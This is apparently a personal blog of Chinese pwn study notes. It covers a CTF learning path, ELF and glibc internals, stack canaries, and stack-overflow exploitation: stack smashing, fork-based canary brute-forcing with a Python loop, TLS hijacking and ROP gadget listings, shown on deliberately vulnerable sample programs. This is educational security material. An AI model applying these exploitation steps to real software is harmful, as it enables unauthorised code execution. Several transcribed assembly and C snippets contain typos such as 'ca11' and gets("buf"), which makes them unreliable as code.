Dreamc's blog

分类: 学习笔记

  • 《CTF权威指南(pwn)》学习笔记

    第一章

    知名安全会议


    RSA、Black Hat、DEFCON、ISC(中国互联网安全大会)
    学术顶会
    CCS(A): ACM Conference on Computer and Communications Security
    NDSS(B): Network and Distributed System Security Symposium
    Oakland S&P(A): IEEE Symposium on Security & Privacy
    USENIX(A): USENIX Security Symposium

    学习路线

    计算机基础

    中文:网易云课堂的大学计算机专业课程体系
    英文:Harvard CS50 Introduction to Computer Science
    CMU 18-447 Introduction to Computer Architecture
    MIT 6.828 Operating System Engineering
    Stanford CS143 Compilers

    逆向工程

    掌握各平台的静态反汇编(IDA、Radare2)和动态调试(GDB、x64dbg)工具,熟练阅读反汇编代码,理解x86、ARM和MIPS二进制程序,注意程序结构组成和编译运行的细节。
    推荐书籍:
    Secure Coding in C and C++,2nd Edition
    The Intel 64 and IA-32 Architectures Software Developer’s Manual
    ARM Cortex-A Series Programmer’s Guide
    See MIPS Run.2nd Edition
    Reverse Engineering for Beginners
    《程序员的自我修养–链接、装载与库》
    《加密与解密,第4版》

    漏洞学习

    从CTF切入是一个很好的思路。学习常见的漏洞(溢出、UAF、double-free等)的原理、Linux漏洞缓解机制(stack canaries、NX、ASLR等)以及针对这些机制的漏洞利用方法(stack smashing、shellcoding、ROP等),此阶段还可以读wp来学习。在掌握这些基本知识之后就可以,尝试分析真实环境中的漏洞,或者分析一些恶意样本了。
    推荐资料:
    RPI CSCI-4968 Modern Binary Exploitation
    Hacking: The Art of Exploitation,2nd Edition
    The Shellcode r’ s Handbook,2nd Edition
    Practical Malware Analysis
    《漏洞战争:软件漏洞分析精要》

    有了实践的基础后,可以学习分析一些程序分析理论,比如数据流分析(工具如Soot)、值集分析(BAP)、可满足性理论(Z3)、动态二进制插桩(DynamoRio、Pin)、符号执行(KLEE、angr)、模糊测试(Peach、AFL)等。这些技术对于程序分析和漏洞挖掘自动化非常重要,是学术界和工业界都在研究的热点。感兴趣的还可以关注下自动化网络攻防的CGC竞赛。推荐资料如下:
    UT Dallas CS-6V81 System Security and Binary Code Analysis
    AU static Program Analysis Lecture notes

    如果是走学术路线,阅读论文必不可少,一开始可以读综述类的文章,对某个领域的研究情况有全面的了解,然后跟随综述去找相应的论文。比较推荐会议论文,因为通常可以在作者个人主页上找到幻灯片,甚至会议录像视频,对学习理解论文很有帮助。如果直接读论文则感觉会有些困难,这里推荐上交大”蜚语”安全小组的论文笔记。坚持读、多思考,相信量变终会产生质变。

    为了持续学习和提升,还需要收集和订阅一些安全资讯(FreeBuf、SecWiki、安全客)、漏洞披露(exploit-db、CVE)、技术论坛(看雪论坛、吾爱破解、先知社区)和大牛的技术博客,这一步可以通过RSS Feed来完成。随着社会媒体的发展,很多安全团队和个人都转战到了Twitter微博、微信公众号等新媒体上,请果断关注他们(操作技巧:从某个安全研究者开始,遍历其关注列表,然后递归,即可获得大量相关资源),通常可以获得最新的研究成果、漏洞、PoC、会议演讲等信息甚至资源链接等。
    目前二进制方向很难就业,如果不是特别有兴趣和死磕一辈子的决心,建议还是选择web安全、安全管理等方向。

    对从业者的建议

    1.关于个人成长

    1)确立方向,结合工作,找出短板
    该领域主要专家们的工作是否都了解过?
    相关协议、文件格式是否都熟悉?
    相关技术和主要工具是否看过、用过?
    2)阅读只是学习过程的起点,不能止于阅读
    工具的每个参数每个菜单都要看、要试
    学习网络协议要实际抓包分析,学习文件格式要读代码实现.学习老漏洞一定要调试,搞懂每一个字节的意义, 之后要完全自己重写一个Exploit
    细节、细节、细节,刨根问底

    2.建立学习参考目标

    (1)短期参考比自己优秀的同龄人。阅读他们的文章和工作成果,从细节中观察他们的学习方式和工作方式。
    (2)中期参考你的方向上的业内专家。了解他们的成长轨迹,跟踪他们关注的内容。
    (3)长期参考业内老牌企业和先锋企业。把握行业发展、技术趋势,为未来做积累。

    3.推荐的学习方式

    (1)以工具为线索
    一个比较省事的学习目录: Kali Linux
    学习思路,以Metasploi为例: 遍历每个子目录,除了Exploi里面还有什么?每个工具怎么用?原理是什么?涉及哪些知识?能否改进优化?能否发展、组合出新的功能?
    (2)以专家为线索
    你的技术方向上有哪些专家?他们的邮箱、主页、社交网络账号是什么?他们在该方向上有哪些作品,发表过哪些演讲?跟踪关注,一个一个地学。

    4.如何提高效率

    做好预研,收集相关前人成果,避免无谓的重复劳动
    在可行性判断阶段,能找到工具就不写代码,能用脚本语言写就不要用编译语言,把完美主义放在最终实现阶段
    做好笔记并定期整理,遗忘会让所有的投入都白白浪费
    多和同事交流,别人说一个工具的名字可能让你节约数小时
    处理好学习、工作和生活
    无论怎么提高效率,要成为专家,都需要大量的时间投入

    第二章

    2.1.1 编译原理

    5个步骤:
    词法分析
    语法分析
    语义分析
    中间代码生成和优化
    代码生成和优化

    2.1.2 GCC编译过程

    GCC命令加”-save-temps”和”–verbose”编译选项,前者用于将编译过程中生成的中间文件保存下来,后者查看GCC编译的详细流程。
    主要包含四个阶段:预处理、编译、汇编和链接

    2.1.3 预处理阶段

    处理源代码中”#”开头的预处理指令,将其转换后直接插入程序文本,得到另一个C程序,通常以”.i”作为文件扩展名。”-E”选项可以单独执行预处理。
    自行了解一些常见的预处理规则。

    2.1.4 编译阶段

    完成分析及优化,生成汇编代码。”-S”选项单独执行。例:”gcc -S hello.c -o hello.s”
    GCC默认是使用AT&T格式的汇编,可以加选项”-masm=intel”使其指定为 我们熟悉的intel格式。”-fno-asynchronous-unwind-tables” 则用于生成没有cfi宏的汇编指令,以提高可读性。

    2.1.5 汇编阶段

    将汇编指令翻译成机器指令。”-c”单独执行,例:”gcc -c hello.s -o hello.o”。

    2.1.6 链接阶段

    可分为静态链接和动态链接,默认是动态链接,”-static”选项可指定使用静态链接。这一阶段将目标文件及其依赖库进行链接,生成可执行文件,主要包括地址和空间分配(Address and Storage Allocation)、符号绑定(Symbol Binding)和重定位(Relocation)等操作。
    链接操作由链接器(Id.so)完成,结果就得到了hello文件,这是一个静态链接的可执行文件(Executable File),包含了大量的库文件。

    2.2ELF文件格式

    ELF(Executable and Linkable Format),即“可执行可链接格式”,是COFF(Common file format)格式的变种。Linux相关定义在"/usr/include/elf.h"文件里。
    

    2.2.1 ELF文件的类型

    ELF文件主要分三种类型,可执行文件(.exec)、可重定位文件(.rel)和共享目标文件(.dyn),此外,还有核心转储文件(Core Dump file)作为进程意外终止时进程地址空间的转储。

    2.2.2 ELF文件的结构

    ELF文件统称为Obiect file.这与我们通常理解的”.o”文件不同。本笔记中提到目标文件时,指各种类型的ELF文件。对于”.o”文件,则表示为可重定位文件,此类文件包含了代码和数据,可以被用于链接成可执行文件或者共享目标文件。
    从链接视角看,可以将目标文件用节(Section)来划分;另一种是运行视角,通过段(Segment)来进行划分。本节先学习链接视角。通常目标文件会包含代码(.text)、数据(.data)和BSS(.bss)三个节。其中代码节用于保存机器指令,数据节保存已初始化的全局变量和局部静态变量,BSS节保存未初始化的全局变量和局部静态变量。目标文件还包含一个文件头。
    ELF文件头位于目标文件最开始位置,包含ELF文件类型、版本/ABI版本、目标机器、程序入口、段表和节表的位置和长度等。

    64位ELF文件
    ELF 文件解析 3-段 – 知乎 (zhihu.com)
    <<elf-64-gen.pdf>>

    Linux安全机制

    Linux基础

    procfs虚拟文件系统。通过procfs查看系统硬件及正在运行进程的信息,可以通过修改其中某些内容来改变内核的运行状态。
    每个正在运行的进程都对应/proc下的一个目录,目录名就算进程的PID。

    比较重要的文件(cat命令为例):

    auxv                       传递给进程的解释器信息
    cmdline                     启动进程的命令行
    cwd -> /home/firmy 当前工作目录
    environ                      进程的环境变量
    exe -> /bin/cat          最初的可执行文件
    fd                               进程打开的文件  
    fdinfo                         每个打开文件的信息
    maps                          内存映射信息
    mem                          内存空间
    root -> /                    进程的根目录
    stack                          内核调用栈
    status                         进程的基本信 
    syscall                        正在执行的系统调用
    task                           进程包含的所有线程
    /proc/PID/mem 由open、read和seek等系统调用使用,无法由用户直接读取,但其内容可以通过/proc/PID/maps 查看,进程的布局通过内存映射来实现,包括可执行文件、共享库、栈、堆等。
    看栈(cat /proc/xx/stack)需要在编译内核时启用CONFIG_STACKTRACE选项
    auxv (AUXiliary Vector)的每一项都是由一个unsigned long 的ID加上一个unsigned long的值构成,每个值具体的用途可以通过设置环境变量 LD_SHOW_AUXV=1显示出来。辅助向量存放在栈上,附带了传递给动态链接器的程序相关的特定信息。
    task 每个线程的信息分别放在一个由线程号(TID)命名的目录中.
    syscall 第一个值是系统调用号,后面跟着六个参数,最后两个值分别是堆栈指针和指令计数器。
    

    调用约定

    (1)内核接口
    x86-32系统调用约定:Linux系统调用使用使用寄存器传递参数。eax为syscall_nnumber,ebx、ecx、edx、esi和ebp用于将6个参数传递给系统调用,返回值保存在eax中。其他寄存器都保留在int 0x80中。
    x86-64系统调用约定:内核接口使用的寄存器有rdi、rsi、rdx、r10、r8和r9。通过指令syscall完成。系统调用的编号必须在寄存器rax中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax包含了结果,且只有integer或者memory类型的值才会被传递给内核。
    (2)用户接口
    x86-32函数调用约定:参数通过栈进行传递。最后一个参数第一个被放入栈中,直到所有的参数都放置完毕,然后执行call指令。这也是Linux上C语言默认的方式。
    x86-64函数调用约定:x86-64下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是MEMORY,则在栈上传递参数。
    如果类型是INTEGER,则顺序使用rdi、rsi、rdx、rcx、r8和r9。所以如果有多于6个的INTEGER参数,则后面的参数在栈上传递。

    核心转储

    当程序运行的过程中出现异常终止或崩溃,系统就会将程序崩溃时的内存、寄存器状态、堆栈指针、内存管理信息等记录下来,保存在一个文件中,叫作核心转储(Core Dump)

    信号动作解释
    SIGQUITCore通过键盘退出时
    SIGILLCore遇到不合法的指令时
    SIGABRTCore从abort中产生的信号
    SIGSEGVCore无效的内存访问
    SIGTRAPCoretrace/breakpoint陷阱

    系统调用

    在Linux中,系统调用是一些内核空间函数,是用户空间访问内核的唯一手段。这些函数与CPU架构有关,86提供了358个系统调用,86-64提供了322个系统调用。32位和64位有区别。
    先看看32位的:

    .data
    msg:
        .ascii "hello 32-bit!\n"
        len = . - msg
        
    .text
        .global_start
        
    _start:
        movl $len,%edx
        movl Smsg,%ecx
        movl $1,%ebx
        movl $4,%eax
        int $0x80
        
        movl $0,%ebx
        mov1 $1,%eax
        int $0x80
    

    程序将调用号保存在eax中,参数传递的顺序依次是ebx,ecx,edx,,esi和edi。通过int $0x80来执行系统调用,返回值存放在eax。
    (可以被编译成64位程序)
    软中断 int 0x80 早期2.6及更早版本的内核都使用这种机制进行系统调用,但因其性能较差,在往后的内核中被快速系统调用替代,如32位系统使用sysenter指令,64位syscall指令。

    栈保护机制 stack canaries

    canary的值是栈上的一个随机数,程序启动时随机生成并保存在比函数返回地址更低的位置。由于栈溢出是从高地址进行覆盖,因此攻击者想要控制函数的返回指针,就一定要先覆盖canary,程序之需要在函数返回前检查canary是否被篡改,就可以达到保护栈的目的。

    简介

    通常可分为3类:terminator、random和random XOR,具体实现有StackGuard、StackShield、ProPoliced等。
    关于StackGuard的论文:StackGuard:Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks.

    Terminator canaries:由于许多栈溢出是字符串操作不当所产生的,而这些字符串以”\x00″截断,基于这一点,terminator canaries 将低位设置为”\x00″,既可以防止被泄露,也可以防止被伪造。截断字符还包括CR(0x0d)、LF(0x0a)和EOF(0xff)。

    Random canaries:为防止canaries被攻击者猜到,random canaries通常在程序初始化时随机生成,并保存在一个相对安全的地方。随机数通常由/dev/urandom生成,有时也使用当前时间的哈希。

    Random XOR canaries: 与random canaries 类似,但多一个XOR操作,这样无论canaries被篡改还是与之XOR的控制数据被篡改,都会发生错误,这就增加了攻击难度。

    GCC包含多个canaries有关参数,可以用帮助命令查看。
    -fstack-protector 对alloca系列函数和内部缓冲区大于8字节的函数启用保护
    -fno-stack-protector 禁用保护
    可以自己敲个实例试试,看看反汇编代码分析分析。

    gef> disassemble main
    0x00000000004005b6<+0>: push rbp
    0x00000000004005b7<+1>: mov rbp,rsp
    0x00000000004005ba<+4>: sub rsp,0x20
    0x00000000004005be<+8>: mov rax,QWORD PTR fs:0x28
    0x00000000004005c7<+17>: mov QWORD PTR [rbp-0x8],rax
    0x00000000004005cb<+21>: xor eax,eax
    0x00000000004005cd<+23>: 1ea rax,[rbp-0x20]
    0x00000000004005d1<+27>: mov rsi,rax
    0x00000000004005d4<+30>: mov edi,0x400684
    0x00000000004005d9<+35>: mov eax,0x0
    0x00000000004005de<+40>: ca11 0x4004a0 <_isoc99_scanf@plt>
    0x00000000004005e3<+45>: nop
    0x00000000004005e4<+46>: mov rax,QWORD PTR [rbp-0x8]
    0x00000000004005e8<+50>: xor rax,QWORD PTR fs 0x28
    0x00000000004005f1<+59>: je 0x4005f8 <main+66>
    0x00000000004005f3<+61>: ca11 0x400480 <stack_chk_fail@plt>
    0x00000000004005f8<+66>: 1eave
    0x00000000004005f9<+67>: ret
    

    在Linux中,fs寄存器被用于存放线程局部存储(Thread Local Storage, TLS),TLS主要是为了避免多个线程同时访存同一全局变量或静态变量时所导致的冲突,尤其是多个线程同时需要修改这一变量时。TLS为每一个使用该全局变量的线程提供了一个变量值的副本,每一个线程均可以独立地改变自己的副本,而不会影响其他线程的副本冲突。从线程的角度看,就好像每一个线程都完全拥有该变量。从全局变量的角度看,就像被复制了很多副本,每一个副本都被一个线程独立占有。在glibc的实现中,TLS结构体tcbhead_t的定义如下所示,偏移0x28正是stack_guard。

    typedef struct{
    void *tcb; /* Pointer to the TCB.Not necessarily the  
               thread descriptor used by libpthread.*/
    dtv_t *dtv;
    void *self; /*Pointer to the thread descriptor.*/
    int multiple_threads;
    int gscope_flag;
    uintptr_t sysinfo;
    uintptr_t stack_guard;
    uintptr_t pointer_guard;
    ......
    } tcbhead_t;
    

    从TLS取出canary后,程序就将其插入rbp-0x8的位置暂时保存。在函数返回前,又从栈上将其取出,并于TLS中的canary进行异或比较,从而确定两个值是否相等。如果不相等就说明发生了栈溢出,然后转到__stack_chk_fail()函数中,程序终止并抛出错误;否则程序正常退出。
    如果是32位程序,那么canary就变成了gs寄存器偏移0x14的地方。

    typedef struct{
    void *tcb; /*Pointer to the TCB.Not necessarily the
                thread descriptor used by libpthread.*/
    dtv_t *dtv;
    void *self; /*Pointer to the thread descriptor.*/
    int multiple_threads;
    uintptr_t sysinfo;
    uintptr_t stack_guard;
    uintptr_t pointer_guard;
    ......
    } tcbhead_t;
    gef > disassemble main
    ......
    0x0804849c<+17>:mov eax,gs:0x14
    0x080484a2<+23>:mov DWORD PTR [ebp-0xc],eax
    ......
    0x080484bc<+49>:mov eax,DWORD PTR [ebp-0xc]
    0x080484bf<+52>:xor eax,DWORD PTR gs:0x14
    0x080484c6<+59>:je 0x80484cd<main+66>
    0x080484c8<+61>:ca11 0x8048350 <__stack_chk_fail@plt>
    ......
    

    checksec.sh对Canary的检测也是根据是否存在__stack_chk_fail__intel_security_cookie来进行判断。

    至此,我发现我的笔记几乎都是从书上摘抄下来,只有很少自己的理解。我不愿再抄书,后面只概括主要内容,加上自己的理解。

    实现

    以64位程序为例,程序加载时,glibc中的ld.so首先初始化TLS,为其分配空间,通过arch_prctl系统调用设置fs寄存器指向TLS。
    然后程序调用security_init()函数,生成Canary的值stack_chk_guard,并放入fs:0x28。

    static void security_init (void)
    {
        /* Set up the stack checker's canary.  */
        uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
    #ifdef THREAD_SET_STACK_GUARD
        THREAD_SET_STACK_GUARD (stack_chk_guard);
    #else
        __stack_chk_guard = stack_chk_guard;
    #endif
    
        /* Set up the pointer guard as well, if necessary.  */
        uintptr_t pointer_chk_guard
        = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
    #ifdef THREAD_SET_POINTER_GUARD
        THREAD_SET_POINTER_GUARD (pointer_chk_guard);
    #endif
        __pointer_chk_guard_local = pointer_chk_guard;
    
        /* We do not need the _dl_random value anymore.  The less
           information we leave behind, the better, so clear the
           variable.  */
        _dl_random = NULL;
    }
    

    glibc/elf/rtld.c
    security_init()函数生成canary值。

    STATIC int LIBC_START_MAIN {
    ......
        /* Set up the stack checker's canary.  */
        uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
    # ifdef THREAD_SET_STACK_GUARD
        THREAD_SET_STACK_GUARD (stack_chk_guard);
    # else
        __stack_chk_guard = stack_chk_guard;
    # endif
    

    glibc/csu/libc-start.c
    __libc_start_main()函数生成canary值

    /* Random data provided by the kernel.  */
    void *_dl_random;
    

    glibc/elf/ld-support.c
    _dl_random指向一个由内核提供的随机数。

     

  • 缓冲区溢出及攻击总结(二)

    stack smash

    原理

    怎么说,就是利用canary的报错去读取我们想要获取的内容。当栈溢出覆盖了canary,程序最后检测到canary值被破坏之后会调用stack_chk_fail函数(以glibc2.26为例)

    void
    __attribute__ ((noreturn))
    __stack_chk_fail (void)
    {
      __fortify_fail_abort (false, "stack smashing detected");
    }		// debug/stack_chk_fail.c
    

    发现传入了一串字符串和false到fortify_fail函数

    void
    __attribute__ ((noreturn))
    __fortify_fail_abort (_Bool need_backtrace, const char *msg)
    {
      /* The loop is added only to keep gcc happy.  Don't pass down
         __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
         may point to the corrupted stack.  */
      while (1)
        __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
        "*** %s ***: %s terminated\n",
        msg,
        (need_backtrace && __libc_argv[0] != NULL
         ? __libc_argv[0] : "<unknown>"));
    }		// debug/fortify_fail.c
    

    发现打印了传过来的字符串和文件名,__libc_argv[0]相当于是文件名字符串的地址,(在glibc2.23只要我们把它换成我们想要获取的内容的地址,就会读出该地址的内容。),但是这里不能的,need_backtrace传过来的是flase,所以一定是"<unknown>",从2.26之后都不能用这个方法,大家可以下载glibc源码去看。 想要了解更详细可以看合天的这篇文章https://zhuanlan.zhihu.com/p/362917125

    例题1

    先看一道简单的例题(glibc2.23)

    #include<stdio.h>
    #include<stdlib.h>
    #include<unistd.h>
    
    char flag[0x40];
    
    void inits()
    {
        setbuf(stdin,0);
        setbuf(stdout,0);
        setbuf(stderr,0);   
        int fd = open("./flag",0);
        if(fd == -1)
        {
            puts("Something wrong!");
            exit(0);
        }
        read(fd,flag,0x30);
        close(fd);
    }
    
    int main()
    {
        char a[0x20];
        inits();
        puts("Hello!");
        gets(a);
        return 0;
    }
    //gcc test4-1.c -no-pie -o test4-1
    

    有明显的栈溢出,找到flag地址,覆盖到文件名地址,得到flag。

    多进程下的爆破canary

    原理

    函数pid_t fork(void)会创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程。调用fork函数后,子进程与父进程的执行顺序是无法确定的。子进程无法通过fork()来创建子进程。这个函数有三种返回值

    1. 在父进程中,fork返回新创建的子进程的进程ID;
    2. 在子进程中,fork返回0;
    3. 如果出现一个错误,fork返回一个负值。 如果在一个循环体内,可以利用栈溢出一个字节的一个字节的爆破canary,不断fork,直到fork返回0,证明该字节爆破成功,一共爆破7字节,最低位是\x00。

    例题2

    #include<stdio.h>
    #include<stdlib.h>
    #include<unistd.h>
    #include<stdlib.h>
    
    void inits()
    {
    	setbuf(stdin,0);
    	setbuf(stdout,0);
    	setbuf(stderr,0);
    }
    
    void backdoor()
    {
        system("/bin/sh\x00");
    }
    
    void func()
    {
        puts("Input your name:");
        char buf[0x20];
        read(0,buf,0x60);
    }
    int main(void)
    {
        inits();
        pid_t pid = 0;
        while(1)
        {
            pid = fork();
            if(pid < 0)
            {
                printf("Error!");
                exit(0);
            }
            if(pid == 0)
            {
                func();
                puts("Good!");
            }
            else
                wait();
        }
        return 0;
    }
    

    通过上面的思路可直接写出exp。爆破后用后门地址覆盖返回地址。爆破部分如下:

    canary = '\x00'
    for j in range(7):
        for i in range(0x100):      
            p.send('a'*0x28 + canary + chr(i))
            a = p.recvuntil('Input your name:\n')
            if 'Good!' in a:
                canary += chr(i)
                print(hex(u64(canary.ljust(8,'\x00'))))
                break
    

    例题3

    网鼎杯2018-guess

    开了nx和canary,放进IDA,发现它将flag读进了buf这个变量,所以我们要获取flag就要先泄露栈地址。后面fork了三次,我们不能直接泄露栈地址,只能通过泄露libc地址来泄露栈地址。在libc中保存了一个函数叫_environ,存的是当前进程的环境变量,得到libc地址后,libc基址+_environ的偏移量=_environ的地址,在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关,通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量。得到栈地址后,计算与buf的偏移,得到buf地址,用stack smash得到flag。不放exp了,有问题放评论。 例题3题目链接:https://buuoj.cn/challenges

    参考资料:https://www.bilibili.com/video/BV1Uv411j7fr?p=10&spm_id_from=333.1007.top_right_bar_window_history.content.click

    劫持TLS绕过canary

    原理

    线程局部存储(Thread Local Storage,TLS)看这里感觉这里介绍的很详细,我根据自己理解简单讲一下,在非主线程时,TCB结构体位于栈上,对于有足够长的栈溢出,我们很容易覆盖stack_guard以及pointer_guard,从而绕过canary。

    参考:canary的各种绕过

  • 缓冲区溢出及攻击总结(一)

    缓冲区溢出原理

    预备知识

    我们先来看下缓冲区是什么,它就是内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分内存空间就叫缓冲区,主要由堆,栈和静态数据区组成。当然也有缓冲寄存器,不过由于价格昂贵且容量较小,一般只用在对速度要求非常高的场合。

    缓冲区组成

    一般缓冲区分三大类:全缓冲、行缓冲、无缓冲

    1.全缓冲:只有在缓冲区被填满之后才会进行I/O操作,比如对磁盘文件的读写。

    2.行缓冲:只有在输入或输出中遇到换行符的时候才会进行O/I操作,比如标准的输入流(stdin)和输出流(stdout)。

    3.无缓冲:标准I/O不缓存字符,比如标准错误输出流。

    对缓冲区操作的函数有哪些?(C语言)

    标准输出函数:printf、puts、putchar等

    标准输入函数:scanf、gets、getchar等

    内存分配函数:malloc、new和数组等

    IO_FILE:fopen、fwrite、fread、fseek等

    清除缓存区:fflush

    当我们没有对输入限制大小,超出分配函数分配的空间大小,就会发生缓冲区溢出,攻击者可利用缓冲区溢出来改变进程运行时栈,从而改变程序正常流向,可能会导致程序崩溃,甚至是系统权限被获取。

    接下来我们引入栈帧结构(在堆栈中,是其一部分)。

    在C语言中,一般来说,每个栈帧都对应着一个未完成的函数,保存了函数的返回地址和局部变量。栈帧也叫活动过程记录,是一种数据结构。

    C 语言自动提供的服务之一就是跟踪调用链——哪些函数调用了哪些函数,当下一个return语句执行后,控制将返回何处等。解决这个问题的经典机制是堆栈中的活动记录。

    当每个函数被调用时,都会产生一个过程记录(或者类似的结构)。过程活动记录是一种数据结构,用于支持过程调用,并记录调用结束以后返回调用点所需要的全部信息。结构如下图所示

    静态链接处应为动态连接,包含静态解析

    函数调用时会遵守函数调用约定去传递参数和返回地址。调用约定有这几种:__stdcall__cdecl__fastcall,__thiscall,__nakedcall,__pascal,__vectorcall。

    参数传递顺序

    1.从右到左依次入栈:__stdcall__cdecl,__thiscall,__fastcall

    2.从左到右依次入栈:__pascal

    调用堆栈清理

    1.调用者清除栈。 2.被调用函数返回后清除栈。

    原理

    看完函数调用约定我们回头继续学习栈帧结构。

    每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。下图为地址空间、栈帧所处层次结构。

    由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中,因此给系统安全带来一些隐患。若将函数返回地址修改为指向一段的恶意代码,则可达到危害系统安全的目的。此外,堆栈的恢复依赖于压栈的ebp值的正确性,但ebp域邻近局部变量,若编程中有意无意地通过局部变量的地址偏移窜改ebp值或返回地址,则程序的行为将变得非常危险。

    我们可以编写一个简单程序,进行调试,深入理解程序是如何运行的。源代码如下,测试系统为Kali 20.04 (64位),使用工具为GDB

    #include <stdio.h> 
    int add (int a,int b); 
    int main () 
    { 
            int a=1,b=2,c; 
            c=add(a,b); 
            printf("%d",c); 
            return 0; 
    } 
    int add (int a,int b) 
    { 
            int c; 
            c=a+b; 
            return c; 
    }

    汇编代码如下

       0x555555555139 <main+4>     sub    rsp, 0x10
       0x55555555513d <main+8>     mov    dword ptr [rbp - 4], 1
       0x555555555144 <main+15>    mov    dword ptr [rbp - 8], 2
       0x55555555514b <main+22>    mov    edx, dword ptr [rbp - 8]
       0x55555555514e <main+25>    mov    eax, dword ptr [rbp - 4]
       0x555555555151 <main+28>    mov    esi, edx
       0x555555555153 <main+30>    mov    edi, eax
     ► 0x555555555155 <main+32>    call   add                <add>
            rdi: 0x1
            rsi: 0x2
            rdx: 0x2
            rcx: 0x7ffff7fad738 (__exit_funcs) —▸ 0x7ffff7fafb20 (initial) ◂— 0x0
     
       0x55555555515a <main+37>    mov    dword ptr [rbp - 0xc], eax
       0x55555555515d <main+40>    mov    eax, dword ptr [rbp - 0xc]
       0x555555555160 <main+43>    mov    esi, eax
       0x555555555162 <main+45>    lea    rdi, [rip + 0xe9b]
       0x555555555169 <main+52>    mov    eax, 0
    

    我们来看看gdb开始调试的信息

    rbp和rsp指向同一个地址,执行main函数之前的rp,空间分配出来了。0x555555555135 (main) ◂— push rbp压入主函数的rbp值。也可以画个堆栈图进行理解。

    再来看看调试时的信息

    执行ret指令,返回地址出栈,跳到返回地址。通过rip移动可知道返回地址在rbp下面。rbp出栈恢复原来的值。

    程序就快结束了。

    想要更详细的了解缓冲区溢出,参考某大神文章,点击这里

    漏洞利用

    本篇只研究栈溢出漏洞利用

    危险函数

    我们在上文列出了一些缓冲区操作的函数,这里我们就讲讲常发生栈溢出的危险函数。

    gets():直接读取一行,到换行符’\n’为止,同时’\n’被转换成’\x00′;

    scanf():格式化字符串中的%s不会检查长度;

    vscanf():同上;

    sprintf():将格式化后的内容写入缓冲区中,但是不检查缓冲区长度;

    strcpy():遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;

    strcat(): 同上。

    覆盖位置

    一般分为三种:

    1.覆盖函数返回地址,通过覆盖返回地址控制程序。

    2.覆盖栈上所保存的BP寄存器的值。函数被调用时会先保存栈现场,返回时再恢复,如下(以x64程序为例):

    push    rbp
    mov rbp,rsp
    leave                  ;相当于mov rsp,rbp          pop rbp
    ret

    返回时:如果栈上的BP值被覆盖,那么函数返回后,主调函数的BP值会被改变,主调函数返回指令ret时,SP不会指向原来的返回地址位置,而是被修改的BP位置。

    3.根据现实执行情况,覆盖特定的变量或地址的内容,可能导致一些逻辑漏洞的出现。

    ROP

    在前面两篇文章中,我学习了简单的返回式导向编程(ROP),但是现实情况不可能这么简单就获取shell。所以我将深入学习ROP,去实现更深层次的漏洞挖掘。

    我们可以利用ret(0xc3)指令结尾的指令片段(gadget)构建一条ROP链,来实现任意指令执行,最终实现任意代码执行。

    我们可以将其分为三步:

    1.寻找ret指令,查看ret前的字节是否包含有效指令;

    2.找到有效指令后,将其标记,得到一系列这样以ret结束的指令后,将这些指令的地址按顺序排列放在栈上;

    3.这样就会让程序每次执行完相应指令后,其结尾的ret指令会将程序控制流传递给栈顶的新的Gadget继续执行。这样一段连续的Gadget构成了一条ROP链,从而实现任意指令执行。

    工具准备

    IDA Pro、ROPgadget、pwntools等

    例子:

    #include<stdio.h> 
    #include<unistd.h> 
    int main(){ 
            char buf[10]; 
            puts("hello"); 
            gets("buf"); 
    }

    用下列命令进行编译:

    gcc rop.c -o rop -no-pie -fno-stack-protector

    程序中没有预置的可以用来执行命令的函数
    先用ROPgadget找出程序中的Gadget:

    Gadgets information
    ============================================================
    0x0000000000401079 : add ah, dh ; nop dword ptr [rax + rax] ; ret
    0x0000000000401151 : add al, ch ; jmp 0xffffffffb9401156
    0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
    0x000000000040114f : add byte ptr [rax], al ; add al, ch ; jmp 0xffffffffb9401156
    0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
    0x0000000000401158 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
    0x0000000000401128 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
    0x0000000000401159 : add byte ptr [rax], al ; add cl, cl ; ret
    0x0000000000401078 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
    0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
    0x000000000040115a : add byte ptr [rax], al ; leave ; ret
    0x000000000040112a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010c0
    0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
    0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
    0x000000000040107e : add byte ptr [rax], al ; ret
    0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
    0x000000000040107d : add byte ptr [rax], r8b ; ret
    0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
    0x000000000040115b : add cl, cl ; ret
    0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
    0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
    0x0000000000401118 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
    0x0000000000401013 : add esp, 8 ; ret
    0x0000000000401012 : add rsp, 8 ; ret
    0x0000000000401010 : call rax
    0x00000000004010a8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
    0x00000000004011a4 : fisttp word ptr [rax - 0x7d] ; ret
